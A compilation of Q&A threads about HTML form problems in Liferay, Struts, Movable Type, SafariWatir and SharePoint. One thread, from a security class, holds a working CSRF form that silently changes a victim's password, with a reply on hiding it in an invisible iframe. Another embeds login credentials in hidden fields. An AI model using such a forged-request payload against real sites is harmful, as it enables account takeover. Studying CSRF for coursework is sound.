Error when rendering a Alloy UI form in Liferay - liferay

This is a form in my Liferay portlet.
<aui:form method="post" action="<%=loginURL%>">
<aui:fieldset>
<aui:input name="userName" label="Usernam">
<aui:validator name="required">
</aui:validator>
</aui:input>
<aui:input name="password" label="Password" type="password"></aui:input>
<aui:button type="submit" value="Login"></aui:button>
</aui:fieldset>
</aui:form>
When I deploy the portlet and go to the page that contains this form I get this error:
The aui:validator tag declares that it accepts dynamic attributes but does not implement the required interface.
I don't understand the problem. How can I fix it? Any help is appreciated in advance.

I don't understand the problem.
This answer will help you understand the problem in detail, though the answer is for spring tag still it applies to all custom tags created for JSP.
How can I fix it?
You can fix it by referencing the correct updated jar (util-taglib.jar) & including the correct TLD (aui.tld) inside WEB-INF/tld/ for your custom portlet.

Related

How can I pass "type" attribute within <html:text> in struts1

When I try to write something like this: <html:text styleId="Istituto" type="number"> in the struts1 it gives me an error
Attribute type invalid for tag text according to TLD
How can I add "type" attribute to <html:text> tag?
I know this is old, but I'm currently working on a super old application that uses Struts 1 framework, and today I had the same problem. Here's the solution I'm using that works:
<input type="number" name="budgetValue"
value="<bean:write name="applicantForm" property="budgetValue"/>">
Where:
budgetValue - is the Form property; applicantForm - is the Form
Thanks to Milebza for the answer, but for me only this way has worked.
<input type="number" name="budgetValue" value="${applicantForm.budgetValue}" />

How do I enable userpics in Movable Type

On the user management admin page I can assign userpics to users, but I can't work out how to enable users to set them themselves.
The following code is in the Profile Edit Form template of my System Overview, but the userpic field doesn't appear on the form itself (all the other fields seem to be fine).
<mt:SetVarBlock name="field-content">
<mt:If name="userpic">
<div id="userpic-preview">
<$mt:Var name="userpic"$>
</div>
<input type="file" name="file" id="file" />
<mt:else>
<input type="file" name="file" id="file" />
</mt:If>
</mt:SetVarBlock>
<$mt:Include module="Form Field" id="file" class="" label="Userpic"$>
I'm a complete novice when it comes to Movable Type, having muddled my way through customising the default theme to get a layout I'm satisfied with, so it's quite possible that I'm missing something obvious.
Profile Edit Form is part of the community pack. it will only be used if you are creating a blog with community blog theme.

Locating a input of type email with SafariWatir

I just started using Watir to write some simple tests for my web application.
First thing I want to do is to populate an login form with an email input element of type "email" with SafariWatir on OS X.
This won't work:
browser.text_field(:id, "email").set('my#email.com')
Trace:
/Library/Ruby/Gems/1.8/gems/safariwatir-0.4.0/lib/safariwatir/scripter.rb:661:in `execute': Unable to locate TextField, using :id and "email" (Watir::Exception::UnknownObjectException)
from /Library/Ruby/Gems/1.8/gems/safariwatir-0.4.0/lib/safariwatir/scripter.rb:303:in `focus'
from /Library/Ruby/Gems/1.8/gems/safariwatir-0.4.0/lib/safariwatir.rb:525:in `set'
from test.rb:10
I assume that the element is not matched because of the different type attribute value. The documentation does not state any specification for this kind of elements. Any ideas?
Thanks!
Update: adding (reformatted) HTML sample based on user's comment that they are testing pinganalytics
<form action="http://pingalytics.com/" method="post" accept-charset="utf-8">
<p>
<label for="email">Email</label>
<input type="email" name="email" value="" id="email" autofocus="" />
</p>
<p>
<label for="password">Password</label>
<input type="password" name="password" value="" id="password" />
</p>
<input type="submit" name="login" value="Log in with Pingdom" class="primary" />
<p>
<a href="https://www.pingdom.com/signup/">
Sign up
</a>
, or
<a href="https://pp.pingdom.com/index.php/login" title="Reset your Pingdom password">
recover your password
</a>
.
</p>
</form>
the 'email' type for an input element is new as of HTML5. Safariwatir is an older project which pretty much predates HTML5. It has not seen a lot of recent work and it is highly unlikely it would be looking for this type when searching for potential 'text_field' elements.
Watir 3.0 or Watir-webdriver would be a safer bet as a lot of work has gone into those to bring them up to properly supporting HTML5.
Also since Webdriver has just recently added support for Safari (see here for instructions), it is now a viable alternative to safariwatir (which I highly expect will see no further work going forward.)
The Safari support is still a tiny bit DYI as you have to build your own safari extension and it only works on a Mac, but that may change if we see someone start publishing a standard safari extension that could be downloaded from an online gallery

How to construct a Cross Site Request Forgery attack?

I am taking a network security class, and one of our assignments is to find security bugs in open source projects.
This one project that I am working seems susceptible to a CSRF. I constructed the following attack, where I trick the user to click a link containing the following:
<form onsubmit="top." action="http://localhost/aphpkb/change_password.php" method="post">
<input type="hidden" value="hacked" name="password1" size="20" maxlength="20" />
<input type="hidden" value="hacked" name="password2" size="20" maxlength="20" />
<input type="submit" name="submit" value="Click here for a new Camry!!" />
</form>
This attack works and changes the password of the site when the user is currently logged into the site.. however, the result of the page gets rendered to the end user. I tried various methods to "quietly" POST the form (PHP based methods and JS based methods) with no avail.
Can anyone provide some guidance and perhaps point me in the right direction as to whether it's possible to silently POST to another website?
Set the form's target to a hidden <iframe>.

Add a form with POST method on a SharePoint 2010 page?

The HTML I got asked to add to a page is:
<div>
<div> Click below to enter</div>
<form id="formID" method=POST action="http://www.someWebsite.com">
<input type="submit" name="do_login" value="Log in" />
<input type="hidden" name="username" value="someUsername" />
<input type="hidden" name="password" value="somePassword" />
</form>
</div>
I know I can't add a form like that because there is already on that SharePoint created, I had a look at http://www.sharepointboris.net/2008/09/making-post-and-get-forms-from-sharepoints-pages/ but when I follow the example and save SharePoint still strips out most of the code so how can I achieve what I want in another way?
Thanks in advance.
For our SharePoint 2007 installation, I created a quiz web part. Basically, it pulls questions and answers from a list, but the actual questions are presented and submitted using a form with POST variables. It's probably much more complex and in-depth than you're looking to go, but I made a custom web part to present the form, read the post variables, and execute associated functions. The big plus to using a custom web part is that you're able to put in nearly any content you want, since you're coding it in ASP.NET.
What I did was to create a custom .aspx page (not through the sharepoint gui) with the code I posted in my question, uploaded the page to a library and then linked to it via a page viewer web part
You can get the form to work as normal if you remove the tags and place the form control inside a div like so:
<div>
<div> Click below to enter</div>
<div id="formID" method=POST action="http://www.someWebsite.com">
<input type="submit" name="do_login" value="Log in" />
<input type="hidden" name="username" value="someUsername" />
<input type="hidden" name="password" value="somePassword" />
</div>
</div>
This way sharepoint will accept everything inside the div tags. In a asp.net when you create a page in sharepoint, the whole page is containied withing a form that why sharepoint does not allow you to use another form within it.
Hope this helps

Resources